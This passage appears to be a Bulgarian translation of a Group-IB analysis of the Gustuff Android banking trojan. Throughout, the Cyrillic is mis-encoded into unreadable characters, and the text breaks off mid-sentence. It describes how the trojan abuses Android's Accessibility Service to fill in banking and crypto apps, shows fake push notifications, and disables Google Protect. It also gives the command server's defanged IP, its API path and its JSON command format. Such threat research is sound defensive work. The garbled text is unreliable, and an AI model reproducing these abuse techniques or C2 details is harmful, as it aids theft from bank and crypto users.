Π’ΠΎΡΠ½ΠΎ ΠΎΠ½Π·ΠΈ Π΄Π΅Π½ Group-IB
Π‘ΠΏΠ΅ΡΠΈΠ°Π»ΠΈΡΡ ΠΏΠΎ Π°Π½Π°Π»ΠΈΠ· Π½Π° Π·Π»ΠΎΠ²ΡΠ΅Π΄Π΅Π½ ΠΊΠΎΠ΄ Π² Group-IB ΠΠ²Π°Π½ ΠΠΈΡΠ°ΡΠ΅Π² Π² ΡΠ²ΠΎΠ΅ΡΠΎ ΠΈΠ·ΡΠ»Π΅Π΄Π²Π°Π½Π΅ ΡΠΎΠΉ Π³ΠΎΠ²ΠΎΡΠΈ ΠΏΠΎΠ΄ΡΠΎΠ±Π½ΠΎ Π·Π° ΡΠΎΠ²Π° ΠΊΠ°ΠΊ ΡΠ°Π±ΠΎΡΠΈ Gustuff ΠΈ ΠΊΠ°ΠΊΠ²ΠΈ ΡΠ° ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈΡΠ΅ ΠΎΡ Π½Π΅Π³ΠΎ.
ΠΠ° ΠΊΠΎΠ³ΠΎ Π»ΠΎΠ²ΡΠ²Π° Gustuff?
Gustuff ΠΏΡΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈ ΠΊΡΠΌ Π½ΠΎΠ²ΠΎ ΠΏΠΎΠΊΠΎΠ»Π΅Π½ΠΈΠ΅ Π·Π»ΠΎΠ²ΡΠ΅Π΄Π΅Π½ ΡΠΎΡΡΡΠ΅Ρ Ρ Π½Π°ΠΏΡΠ»Π½ΠΎ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΠ·ΠΈΡΠ°Π½ΠΈ ΡΡΠ½ΠΊΡΠΈΠΈ. Π‘ΠΏΠΎΡΠ΅Π΄ ΡΠ°Π·ΡΠ°Π±ΠΎΡΡΠΈΠΊΠ° ΡΡΠΎΡΠ½ΡΠΊΠΈΡΡ ΠΊΠΎΠ½ ΡΠ΅ Π΅ ΠΏΡΠ΅Π²ΡΡΠ½Π°Π» Π² Π½ΠΎΠ²Π° ΠΈ ΠΏΠΎΠ΄ΠΎΠ±ΡΠ΅Π½Π° Π²Π΅ΡΡΠΈΡ Π½Π° Π·Π»ΠΎΠ²ΡΠ΅Π΄Π΅Π½ ΡΠΎΡΡΡΠ΅Ρ AndyBot, ΠΊΠΎΠΉΡΠΎ ΠΎΡ Π½ΠΎΠ΅ΠΌΠ²ΡΠΈ 2017 Π³. Π°ΡΠ°ΠΊΡΠ²Π° ΡΠ΅Π»Π΅ΡΠΎΠ½ΠΈ Ρ Android ΠΈ ΠΊΡΠ°Π΄Π΅ ΠΏΠ°ΡΠΈ ΡΡΠ΅Π· ΡΠΈΡΠΈΠ½Π³ ΡΠ΅Π± ΡΠΎΡΠΌΠΈ, ΠΌΠ°ΡΠΊΠΈΡΠ°Π½ΠΈ ΠΊΠ°ΡΠΎ ΠΌΠΎΠ±ΠΈΠ»Π½ΠΈ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ Π½Π° ΠΈΠ·Π²Π΅ΡΡΠ½ΠΈ ΠΌΠ΅ΠΆΠ΄ΡΠ½Π°ΡΠΎΠ΄Π½ΠΈ Π±Π°Π½ΠΊΠΈ ΠΈ ΠΏΠ»Π°ΡΠ΅ΠΆΠ½ΠΈ ΡΠΈΡΡΠ΅ΠΌΠΈ. Bestoffer ΡΡΠΎΠ±ΡΠΈ, ΡΠ΅ Π½Π°Π΅ΠΌΠ½Π°ΡΠ° ΡΠ΅Π½Π° Π½Π° Gustuff Bot Π΅ $800 Π½Π° ΠΌΠ΅ΡΠ΅Ρ.
ΠΠ½Π°Π»ΠΈΠ·ΡΡ Π½Π° ΠΈΠ·Π²Π°Π΄ΠΊΠ°ΡΠ° Gustuff ΠΏΠΎΠΊΠ°Π·Π°, ΡΠ΅ ΡΡΠΎΡΠ½ΡΠΊΠΈΡΡ ΠΊΠΎΠ½ Π΅ ΠΏΠΎΡΠ΅Π½ΡΠΈΠ°Π»Π½ΠΎ Π½Π°ΡΠΎΡΠ΅Π½ ΠΊΡΠΌ ΠΊΠ»ΠΈΠ΅Π½ΡΠΈ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΡΠΈ ΠΌΠΎΠ±ΠΈΠ»Π½ΠΈ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ Π½Π° Π½Π°ΠΉ-Π³ΠΎΠ»Π΅ΠΌΠΈΡΠ΅ Π±Π°Π½ΠΊΠΈ, ΠΊΠ°ΡΠΎ Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, ΠΊΠ°ΠΊΡΠΎ ΠΈ ΠΊΡΠΈΠΏΡΠΎ ΠΏΠΎΡΡΡΠ΅ΠΉΠ»ΠΈ ΠΠΈΡΠΊΠΎΠΉΠ½ ΠΏΠΎΡΡΡΠ΅ΠΉΠ», BitPay, Cryptopay, Coinbase ΠΈ Π΄Ρ.
ΠΡΡΠ²ΠΎΠ½Π°ΡΠ°Π»Π½ΠΎ ΡΡΠ·Π΄Π°Π΄Π΅Π½ ΠΊΠ°ΡΠΎ ΠΊΠ»Π°ΡΠΈΡΠ΅ΡΠΊΠΈ Π±Π°Π½ΠΊΠΎΠ² ΡΡΠΎΡΠ½ΡΠΊΠΈ ΠΊΠΎΠ½, Π² Π½Π°ΡΡΠΎΡΡΠ°ΡΠ° Π²Π΅ΡΡΠΈΡ Gustuff Π·Π½Π°ΡΠΈΡΠ΅Π»Π½ΠΎ ΡΠ°Π·ΡΠΈΡΠΈ ΡΠΏΠΈΡΡΠΊΠ° Ρ ΠΏΠΎΡΠ΅Π½ΡΠΈΠ°Π»Π½ΠΈ ΡΠ΅Π»ΠΈ Π·Π° Π°ΡΠ°ΠΊΠ°. Π Π΄ΠΎΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΡΠΌ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡΡΠ° Π·Π° Android Π·Π° Π±Π°Π½ΠΊΠΈ, ΡΠΈΠ½ΡΠ΅Ρ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ ΠΈ ΠΊΡΠΈΠΏΡΠΎ ΡΡΠ»ΡΠ³ΠΈ, Gustuff Π΅ Π½Π°ΡΠΎΡΠ΅Π½ ΠΊΡΠΌ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΠΈ Π½Π° ΠΏΠ°Π·Π°ΡΠ½ΠΈ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ, ΠΎΠ½Π»Π°ΠΉΠ½ ΠΌΠ°Π³Π°Π·ΠΈΠ½ΠΈ, ΠΏΠ»Π°ΡΠ΅ΠΆΠ½ΠΈ ΡΠΈΡΡΠ΅ΠΌΠΈ ΠΈ ΠΌΠ΅ΡΠΈΠ½Π΄ΠΆΡΡΠΈ. ΠΠΎ-ΡΠΏΠ΅ΡΠΈΠ°Π»Π½ΠΎ PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut ΠΈ Π΄ΡΡΠ³ΠΈ.
ΠΡ ΠΎΠ΄Π½Π° ΡΠΎΡΠΊΠ°: ΠΈΠ·ΡΠΈΡΠ»Π΅Π½ΠΈΠ΅ Π·Π° ΠΌΠ°ΡΠΎΠ²Π° ΠΈΠ½ΡΠ΅ΠΊΡΠΈΡ
Gustuff ΡΠ΅ Ρ Π°ΡΠ°ΠΊΡΠ΅ΡΠΈΠ·ΠΈΡΠ° Ρ βΠΊΠ»Π°ΡΠΈΡΠ΅ΡΠΊΠΈΡβ Π²Π΅ΠΊΡΠΎΡ Π½Π° ΠΏΡΠΎΠ½ΠΈΠΊΠ²Π°Π½Π΅ Π² ΡΠΌΠ°ΡΡΡΠΎΠ½ΠΈΡΠ΅ Ρ Android ΡΡΠ΅Π· SMS ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ Ρ Π²ΡΡΠ·ΠΊΠΈ ΠΊΡΠΌ APK. ΠΠΎΠ³Π°ΡΠΎ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ Ρ Android Π΅ Π·Π°ΡΠ°Π·Π΅Π½ΠΎ Ρ ΡΡΠΎΡΠ½ΡΠΊΠΈ ΠΊΠΎΠ½ ΠΏΠΎ ΠΊΠΎΠΌΠ°Π½Π΄Π° Π½Π° ΡΡΡΠ²ΡΡΠ°, Gustuff ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΡΠ°Π·ΠΏΡΠΎΡΡΡΠ°Π½ΠΈ Π΄ΠΎΠΏΡΠ»Π½ΠΈΡΠ΅Π»Π½ΠΎ ΠΏΡΠ΅Π· Π±Π°Π·Π°ΡΠ° Π΄Π°Π½Π½ΠΈ Ρ ΠΊΠΎΠ½ΡΠ°ΠΊΡΠΈ Π½Π° Π·Π°ΡΠ°Π·Π΅Π½ΠΈΡ ΡΠ΅Π»Π΅ΡΠΎΠ½ ΠΈΠ»ΠΈ ΠΏΡΠ΅Π· Π±Π°Π·Π°ΡΠ° Π΄Π°Π½Π½ΠΈ Π½Π° ΡΡΡΠ²ΡΡΠ°. Π€ΡΠ½ΠΊΡΠΈΠΎΠ½Π°Π»Π½ΠΎΡΡΡΠ° Π½Π° Gustuff Π΅ ΠΏΡΠ΅Π΄Π½Π°Π·Π½Π°ΡΠ΅Π½Π° Π·Π° ΠΌΠ°ΡΠΎΠ²ΠΎ Π·Π°ΡΠ°Π·ΡΠ²Π°Π½Π΅ ΠΈ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»Π½ΠΎ ΠΊΠ°ΠΏΠΈΡΠ°Π»ΠΈΠ·ΠΈΡΠ°Π½Π΅ Π½Π° Π±ΠΈΠ·Π½Π΅ΡΠ° Π½Π° ΡΠ²ΠΎΠΈΡΠ΅ ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡΠΈ - ΠΈΠΌΠ° ΡΠ½ΠΈΠΊΠ°Π»Π½Π° ΡΡΠ½ΠΊΡΠΈΡ Π·Π° βΠ°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ½ΠΎ ΠΏΠΎΠΏΡΠ»Π²Π°Π½Π΅β Π² Π·Π°ΠΊΠΎΠ½Π½ΠΈ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ Π·Π° ΠΌΠΎΠ±ΠΈΠ»Π½ΠΎ Π±Π°Π½ΠΊΠΈΡΠ°Π½Π΅ ΠΈ ΠΊΡΠΈΠΏΡΠΎ ΠΏΠΎΡΡΡΠ΅ΠΉΠ»ΠΈ, ΠΊΠΎΠ΅ΡΠΎ Π²ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ²Π° Π΄Π° ΡΡΠΊΠΎΡΠΈΡΠ΅ ΠΈ ΠΌΠ°ΡΠ°Π±ΠΈΡΠ°ΡΠ΅ ΠΊΡΠ°ΠΆΠ±Π°ΡΠ° Π½Π° ΠΏΠ°ΡΠΈ.
ΠΡΠΎΡΡΠ²Π°Π½Π΅ Π½Π° ΡΡΠΎΡΠ½ΡΠΊΠΈΡ ΠΊΠΎΠ½ ΠΏΠΎΠΊΠ°Π·Π°, ΡΠ΅ ΡΡΠ½ΠΊΡΠΈΡΡΠ° Π·Π° Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ½ΠΎ ΠΏΠΎΠΏΡΠ»Π²Π°Π½Π΅ Π΅ Π²Π½Π΅Π΄ΡΠ΅Π½Π° Π² Π½Π΅Π³ΠΎ ΡΡΠ΅Π· ΡΡΠ»ΡΠ³Π°ΡΠ° Π·Π° Π΄ΠΎΡΡΡΠΏΠ½ΠΎΡΡ, ΡΡΠ»ΡΠ³Π° Π·Π° Ρ ΠΎΡΠ° Ρ ΡΠ²ΡΠ΅ΠΆΠ΄Π°Π½ΠΈΡ. Gustuff Π½Π΅ Π΅ ΠΏΡΡΠ²ΠΈΡΡ ΡΡΠΎΡΠ½ΡΠΊΠΈ ΠΊΠΎΠ½, ΠΊΠΎΠΉΡΠΎ ΡΡΠΏΠ΅ΡΠ½ΠΎ Π·Π°ΠΎΠ±ΠΈΠΊΠ°Π»Ρ Π·Π°ΡΠΈΡΠ°ΡΠ° ΡΡΠ΅ΡΡ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²ΠΈΠ΅ Ρ ΠΏΡΠΎΠ·ΠΎΡΠ΅ΡΠ½ΠΈ Π΅Π»Π΅ΠΌΠ΅Π½ΡΠΈ Π½Π° Π΄ΡΡΠ³ΠΈ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΡΠΈ ΡΠ°Π·ΠΈ ΡΡΠ»ΡΠ³Π° Π½Π° Android. ΠΡΠΏΡΠ΅ΠΊΠΈ ΡΠΎΠ²Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ΡΠΎ Π½Π° ΡΡΠ»ΡΠ³Π°ΡΠ° Π·Π° Π΄ΠΎΡΡΡΠΏΠ½ΠΎΡΡ Π² ΠΊΠΎΠΌΠ±ΠΈΠ½Π°ΡΠΈΡ Ρ ΠΏΡΠ»Π½ΠΈΡΠ΅Π» Π·Π° Π°Π²ΡΠΎΠΌΠΎΠ±ΠΈΠ»ΠΈ Π²ΡΠ΅ ΠΎΡΠ΅ Π΅ Π΄ΠΎΡΡΠ° ΡΡΠ΄ΠΊΠΎ.
Π‘Π»Π΅Π΄ ΠΊΠ°ΡΠΎ ΡΠ΅ ΠΈΠ·ΡΠ΅Π³Π»ΠΈ Π² ΡΠ΅Π»Π΅ΡΠΎΠ½Π° Π½Π° ΠΆΠ΅ΡΡΠ²Π°ΡΠ°, Gustuff, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΠΊΠΈ ΡΡΠ»ΡΠ³Π°ΡΠ° Π·Π° Π΄ΠΎΡΡΡΠΏΠ½ΠΎΡΡ, ΠΌΠΎΠΆΠ΅ Π΄Π° Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²Π° Ρ Π΅Π»Π΅ΠΌΠ΅Π½ΡΠΈ Π½Π° ΠΏΡΠΎΠ·ΠΎΡΠ΅ΡΠ° Π½Π° Π΄ΡΡΠ³ΠΈ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ (Π±Π°Π½ΠΊΠΈΡΠ°Π½Π΅, ΠΊΡΠΈΠΏΡΠΎΠ²Π°Π»ΡΡΠ°, ΠΊΠ°ΠΊΡΠΎ ΠΈ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ Π·Π° ΠΎΠ½Π»Π°ΠΉΠ½ ΠΏΠ°Π·Π°ΡΡΠ²Π°Π½Π΅, ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ ΠΈ Π΄Ρ.), ΠΈΠ·Π²ΡΡΡΠ²Π°ΠΉΠΊΠΈ Π΄Π΅ΠΉΡΡΠ²ΠΈΡΡΠ°, Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΈ Π·Π° Π½Π°ΠΏΠ°Π΄Π°ΡΠ΅Π»ΠΈΡΠ΅ . ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, ΠΏΠΎ ΠΊΠΎΠΌΠ°Π½Π΄Π° Π½Π° ΡΡΡΠ²ΡΡΠ°, ΡΡΠΎΡΠ½ΡΠΊΠΈ ΠΊΠΎΠ½ ΠΌΠΎΠΆΠ΅ Π΄Π° Π½Π°ΡΠΈΡΠΊΠ° Π±ΡΡΠΎΠ½ΠΈ ΠΈ Π΄Π° ΠΏΡΠΎΠΌΠ΅Π½Ρ ΡΡΠΎΠΉΠ½ΠΎΡΡΠΈΡΠ΅ Π½Π° ΡΠ΅ΠΊΡΡΠΎΠ²ΠΈΡΠ΅ ΠΏΠΎΠ»Π΅ΡΠ° Π² Π±Π°Π½ΠΊΠΎΠ²ΠΈΡΠ΅ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ. ΠΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ΡΠΎ Π½Π° ΠΌΠ΅Ρ Π°Π½ΠΈΠ·ΠΌΠ° Accessibility Service ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ²Π° Π½Π° ΡΡΠΎΡΠ½ΡΠΊΠΈΡ ΠΊΠΎΠ½ Π΄Π° Π·Π°ΠΎΠ±ΠΈΠΊΠΎΠ»ΠΈ ΠΌΠ΅Ρ Π°Π½ΠΈΠ·ΠΌΠΈΡΠ΅ Π·Π° ΡΠΈΠ³ΡΡΠ½ΠΎΡΡ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ΠΈ ΠΎΡ Π±Π°Π½ΠΊΠΈΡΠ΅ Π·Π° ΠΏΡΠΎΡΠΈΠ²ΠΎΠ΄Π΅ΠΉΡΡΠ²ΠΈΠ΅ Π½Π° ΠΌΠΎΠ±ΠΈΠ»Π½ΠΈ ΡΡΠΎΡΠ½ΡΠΊΠΈ ΠΊΠΎΠ½Π΅ ΠΎΡ ΠΏΡΠ΅Π΄ΠΈΡΠ½ΠΎ ΠΏΠΎΠΊΠΎΠ»Π΅Π½ΠΈΠ΅, ΠΊΠ°ΠΊΡΠΎ ΠΈ ΠΏΡΠΎΠΌΠ΅Π½ΠΈΡΠ΅ Π² ΠΏΠΎΠ»ΠΈΡΠΈΠΊΠ°ΡΠ° Π·Π° ΡΠΈΠ³ΡΡΠ½ΠΎΡΡ, Π²ΡΠ²Π΅Π΄Π΅Π½Π° ΠΎΡ Google Π² Π½ΠΎΠ²ΠΈΡΠ΅ Π²Π΅ΡΡΠΈΠΈ Π½Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΎΠ½Π½Π°ΡΠ° ΡΠΈΡΡΠ΅ΠΌΠ° Android. Π’Π°ΠΊΠ° Gustuff βΠ·Π½Π°Π΅ ΠΊΠ°ΠΊβ Π΄Π° Π΄Π΅Π°ΠΊΡΠΈΠ²ΠΈΡΠ° Π·Π°ΡΠΈΡΠ°ΡΠ° Π½Π° Google Protect: ΡΠΏΠΎΡΠ΅Π΄ Π°Π²ΡΠΎΡΠ° ΡΠ°Π·ΠΈ ΡΡΠ½ΠΊΡΠΈΡ ΡΠ°Π±ΠΎΡΠΈ Π² 70% ΠΎΡ ΡΠ»ΡΡΠ°ΠΈΡΠ΅.
Gustuff ΠΌΠΎΠΆΠ΅ ΡΡΡΠΎ Π΄Π° ΠΏΠΎΠΊΠ°Π·Π²Π° ΡΠ°Π»ΡΠΈΠ²ΠΈ PUSH ΠΈΠ·Π²Π΅ΡΡΠΈΡ Ρ ΠΈΠΊΠΎΠ½ΠΈ Π½Π° Π»Π΅Π³ΠΈΡΠΈΠΌΠ½ΠΈ ΠΌΠΎΠ±ΠΈΠ»Π½ΠΈ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ. ΠΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΡΡ ΡΡΠ°ΠΊΠ²Π° Π²ΡΡΡ
Ρ PUSH ΠΈΠ·Π²Π΅ΡΡΠΈΠ΅ΡΠΎ ΠΈ Π²ΠΈΠΆΠ΄Π° ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ Π·Π° ΡΠΈΡΠΈΠ½Π³, ΠΈΠ·ΡΠ΅Π³Π»Π΅Π½ ΠΎΡ ΡΡΡΠ²ΡΡΠ°, ΠΊΡΠ΄Π΅ΡΠΎ ΡΠΎΠΉ Π²ΡΠ²Π΅ΠΆΠ΄Π° ΠΈΡΠΊΠ°Π½ΠΈΡΠ΅ Π΄Π°Π½Π½ΠΈ Π·Π° Π±Π°Π½ΠΊΠΎΠ²Π° ΠΊΠ°ΡΡΠ° ΠΈΠ»ΠΈ ΠΊΡΠΈΠΏΡΠΎ ΠΏΠΎΡΡΡΠ΅ΠΉΠ». Π Π΄ΡΡΠ³ ΡΡΠ΅Π½Π°ΡΠΈΠΉ Π½Π° Gustuff ΡΠ΅ ΠΎΡΠ²Π°ΡΡ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ, ΠΎΡ ΠΈΠΌΠ΅ΡΠΎ Π½Π° ΠΊΠΎΠ΅ΡΠΎ Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ PUSH ΠΈΠ·Π²Π΅ΡΡΠΈΠ΅ΡΠΎ. Π ΡΠΎΠ·ΠΈ ΡΠ»ΡΡΠ°ΠΉ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈΡΡ ΡΠΎΡΡΡΠ΅Ρ, ΠΏΠΎ ΠΊΠΎΠΌΠ°Π½Π΄Π° ΠΎΡ ΡΡΡΠ²ΡΡΠ° ΡΡΠ΅Π· ΡΡΠ»ΡΠ³Π°ΡΠ° Π·Π° Π΄ΠΎΡΡΡΠΏΠ½ΠΎΡΡ, ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΠΎΠΏΡΠ»Π½ΠΈ ΠΏΠΎΠ»Π΅ΡΠ°ΡΠ° Π½Π° ΡΠΎΡΠΌΡΠ»ΡΡΠ° Π½Π° Π±Π°Π½ΠΊΠΎΠ²ΠΎ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π·Π° ΠΈΠ·ΠΌΠ°ΠΌΠ½Π° ΡΡΠ°Π½Π·Π°ΠΊΡΠΈΡ.
Π€ΡΠ½ΠΊΡΠΈΠΎΠ½Π°Π»Π½ΠΎΡΡΡΠ° Π½Π° Gustuff Π²ΠΊΠ»ΡΡΠ²Π° ΡΡΡΠΎ ΠΈΠ·ΠΏΡΠ°ΡΠ°Π½Π΅ Π½Π° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ Π·Π° Π·Π°ΡΠ°Π·Π΅Π½ΠΎ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ ΠΊΡΠΌ ΡΡΡΠ²ΡΡΠ°, Π²ΡΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ Π·Π° ΡΠ΅ΡΠ΅Π½Π΅/ΠΈΠ·ΠΏΡΠ°ΡΠ°Π½Π΅ Π½Π° SMS ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ, ΠΈΠ·ΠΏΡΠ°ΡΠ°Π½Π΅ Π½Π° USSD Π·Π°ΡΠ²ΠΊΠΈ, ΡΡΠ°ΡΡΠΈΡΠ°Π½Π΅ Π½Π° SOCKS5 Proxy, ΡΠ»Π΅Π΄Π²Π°Π½Π΅ Π½Π° Π²ΡΡΠ·ΠΊΠ°, ΠΈΠ·ΠΏΡΠ°ΡΠ°Π½Π΅ Π½Π° ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ (Π²ΠΊΠ»ΡΡΠΈΡΠ΅Π»Π½ΠΎ ΡΠΊΠ°Π½ΠΈΡΠ°Π½ΠΈ ΡΠ½ΠΈΠΌΠΊΠΈ Π½Π° Π΄ΠΎΠΊΡΠΌΠ΅Π½ΡΠΈ, Π΅ΠΊΡΠ°Π½Π½ΠΈ ΡΠ½ΠΈΠΌΠΊΠΈ, ΡΠ½ΠΈΠΌΠΊΠΈ) Π΄ΠΎ ΡΡΡΠ²ΡΡ, Π½ΡΠ»ΠΈΡΠ°ΠΉΡΠ΅ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎΡΠΎ Π΄ΠΎ ΡΠ°Π±ΡΠΈΡΠ½ΠΈΡΠ΅ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈ.
ΠΠ½Π°Π»ΠΈΠ· Π½Π° Π·Π»ΠΎΠ²ΡΠ΅Π΄Π΅Π½ ΡΠΎΡΡΡΠ΅Ρ
ΠΡΠ΅Π΄ΠΈ Π΄Π° ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ° Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ΠΎ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΎΠ½Π½Π°ΡΠ° ΡΠΈΡΡΠ΅ΠΌΠ° Android ΠΏΠΎΠΊΠ°Π·Π²Π° Π½Π° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»Ρ ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ, ΡΡΠ΄ΡΡΠΆΠ°Ρ ΡΠΏΠΈΡΡΠΊ Ρ ΠΏΡΠ°Π²Π°, ΠΏΠΎΠΈΡΠΊΠ°Π½ΠΈ ΠΎΡ Gustuff:
ΠΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΡΠ΅ Π±ΡΠ΄Π΅ ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°Π½ΠΎ ΡΠ°ΠΌΠΎ ΡΠ»Π΅Π΄ ΠΏΠΎΠ»ΡΡΠ°Π²Π°Π½Π΅ Π½Π° ΡΡΠ³Π»Π°ΡΠΈΠ΅ΡΠΎ Π½Π° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»Ρ. Π‘Π»Π΅Π΄ ΠΊΠ°ΡΠΎ ΡΡΠ°ΡΡΠΈΡΠ° ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ, ΡΡΠΎΡΠ½ΡΠΊΠΈΡΡ ΠΊΠΎΠ½ ΡΠ΅ ΠΏΠΎΠΊΠ°ΠΆΠ΅ Π½Π° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»Ρ ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ:
Π‘Π»Π΅Π΄ ΠΊΠΎΠ΅ΡΠΎ ΡΠ΅ ΠΏΡΠ΅ΠΌΠ°Ρ
Π½Π΅ ΠΈΠΊΠΎΠ½Π°ΡΠ° ΡΠΈ.
Gustuff Π΅ ΠΎΠΏΠ°ΠΊΠΎΠ²Π°Π½, ΡΠΏΠΎΡΠ΅Π΄ Π°Π²ΡΠΎΡΠ°, ΠΎΡ ΠΎΠΏΠ°ΠΊΠΎΠ²ΡΠΈΠΊ ΠΎΡ FTT. Π‘Π»Π΅Π΄ ΡΡΠ°ΡΡΠΈΡΠ°Π½Π΅ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΠΏΠ΅ΡΠΈΠΎΠ΄ΠΈΡΠ½ΠΎ ΡΠ΅ ΡΠ²ΡΡΠ·Π²Π° Ρ CnC ΡΡΡΠ²ΡΡΠ°, Π·Π° Π΄Π° ΠΏΠΎΠ»ΡΡΠ°Π²Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ. ΠΡΠΊΠΎΠ»ΠΊΠΎ ΡΠ°ΠΉΠ»Π°, ΠΊΠΎΠΈΡΠΎ ΠΏΡΠΎΠ²Π΅ΡΠΈΡ ΠΌΠ΅, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ Π° IP Π°Π΄ΡΠ΅Ρ ΠΊΠ°ΡΠΎ ΠΊΠΎΠ½ΡΡΠΎΠ»Π΅Π½ ΡΡΡΠ²ΡΡ 88.99.171[.]105 (ΠΏΠΎ-Π½Π°ΡΠ°ΡΡΠΊ ΡΠ΅ Π³ΠΎ ΠΎΠ±ΠΎΠ·Π½Π°ΡΠ°Π²Π°ΠΌΠ΅ ΠΊΠ°ΡΠΎ <%CnC%>).
Π‘Π»Π΅Π΄ ΡΡΠ°ΡΡΠΈΡΠ°Π½Π΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠ°ΡΠ° Π·Π°ΠΏΠΎΡΠ²Π° Π΄Π° ΠΈΠ·ΠΏΡΠ°ΡΠ° ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ Π΄ΠΎ ΡΡΡΠ²ΡΡΠ° http://<%CnC%>/api/v1/get.php.
ΠΡΠ³ΠΎΠ²ΠΎΡΡΡ ΡΠ΅ ΠΎΡΠ°ΠΊΠ²Π° Π΄Π° Π±ΡΠ΄Π΅ JSON Π² ΡΠ»Π΅Π΄Π½ΠΈΡ ΡΠΎΡΠΌΠ°Ρ:
{
"results" : "OK",
"command":{
"id": "<%id%>",
"command":"<%command%>",
"timestamp":"<%Server Timestamp%>",
"params":{
<%Command parameters as JSON%>
},
},
}
ΠΡΠΈ Π²ΡΠ΅ΠΊΠΈ Π΄ΠΎΡΡΡΠΏ Π΄ΠΎ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ, ΡΠΎ ΠΈΠ·ΠΏΡΠ°ΡΠ° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ Π·Π° Π·Π°ΡΠ°Π·Π΅Π½ΠΎΡΠΎ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ. Π€ΠΎΡΠΌΠ°ΡΡΡ Π½Π° ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ΡΠΎ Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ ΠΏΠΎ-Π΄ΠΎΠ»Ρ. ΠΠ°ΡΠ»ΡΠΆΠ°Π²Π° Π΄Π° ΡΠ΅ ΠΎΡΠ±Π΅Π»Π΅ΠΆΠΈ, ΡΠ΅ ΠΏΠΎΠ»Π΅ΡΠ°ΡΠ° ΠΏΡΠ»Π΅Π½, Π΄ΠΎΠΏΡΠ»Π½ΠΈΡΠ΅Π»Π½ΠΎ, 